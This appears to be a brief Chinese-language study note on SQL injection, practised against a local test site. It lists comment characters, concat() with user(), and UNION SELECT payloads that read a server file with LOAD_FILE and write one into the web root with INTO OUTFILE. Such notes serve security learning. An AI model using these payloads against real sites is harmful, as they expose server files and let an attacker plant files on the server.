学习笔记---Sql注入注释符

学习笔记—Sql注入注释符

注释符：



http://127.0.0.1/7-27/index.php?id=1 --+ ss




Concat()
select concat(‘aa’,‘bb’);

select concat(‘aa’,user());

select concat(’[’,user(),’]’);

http://127.0.0.1/7-27/index.php
load_file
?id=1 UNION SELECT 1,2,3,LOAD_FILE(“D:/phpstudy_pro/WWW/7-27/123.php”)
参考网址：https://blog.csdn.net/zx520113/article/details/107056013



into outfile()

http://127.0.0.1/7-27/index.php
?id=1 UNION SELECT 1,2,3,4 into outfile “D:/phpstudy_pro/WWW/7-27/456.txt”

了解更多请关注下列公众号：